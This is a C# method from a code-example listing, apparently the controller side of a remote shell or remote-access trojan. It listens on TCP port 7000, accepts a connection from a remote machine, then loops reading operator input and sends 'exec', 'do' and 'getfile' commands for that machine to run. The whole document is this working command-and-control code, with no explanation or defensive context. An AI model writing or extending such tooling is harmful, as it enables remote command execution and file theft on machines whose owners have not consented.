Exemplo n.º 1
0
        public async Task Handle()
        {
            string[] commands = new string[]
            {
                "exec",
                "do",
                "getfile"
            };

            bool[] commandsInfo = new bool[]
            {
                true,
                false,
                true
            };

            const int BUFFER_SIZE = 1024;

            byte[] buffer = new byte[BUFFER_SIZE];

            IPAddress  ip       = IPAddress.Any;
            IPEndPoint RemoteEP = new IPEndPoint(ip, 7000);

            Socket handle = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);

            color.colored_print("===========================================", "DarkCyan", "Black", true, false);
            color.colored_print($"Binding to {RemoteEP.ToString()}.../////////////////", "Yellow", "Black", true, false);

            handle.Bind(RemoteEP);
            handle.Listen(10);

            Task <Socket> connTask = handle.AcceptAsync();
            Socket        conn     = connTask.Result;

            color.colored_print("===========================================", "DarkCyan", "Black", true, false);
            color.colored_print($"Connection Received from { conn.RemoteEndPoint.ToString() }", "Yellow", "Black", true, false);
            color.colored_print("===========================================\n", "DarkCyan", "Black", true, false);

            //Console.Clear();

            //Image logo = Image.FromFile("logo4.png");
            //Console.WriteLine(color.GrayscaleImageToASCII(logo));

            color.banner_print();

            // Task RecvTask = Task.Run(() => ReceivePackets(conn, buffer));
            await SendPackets("STARTPACKET", conn, buffer, true);

            while (true)
            {
                string newPathVar = await GetPath(conn, buffer);

                color.colored_print($"{newPathVar} $>\t", "Magenta", "Black", false, false);

                color.changeForeground("DarkYellow");

                string inData = Console.ReadLine();

                color.Reset();

                try
                {
                    if (inData == "clear" || inData == "cls")
                    {
                        Console.Clear();
                    }

                    else if (inData.Length > 0)
                    {
                        for (int i = 0; i < commands.Length; i++)
                        {
                            if (inData.StartsWith(commands[i]))
                            {
                                await SendPackets(inData, conn, buffer, commandsInfo[i]);
                            }
                        }
                    }
                    else if (inData.Length == 0)
                    {
                        color.colored_print("\n[-] Input is empty!\n", "Red", "Black", true, false);
                    }
                }
                catch (Exception errno) { color.colored_print(errno.ToString(), "Red", "Black", true, false); }
            }
        }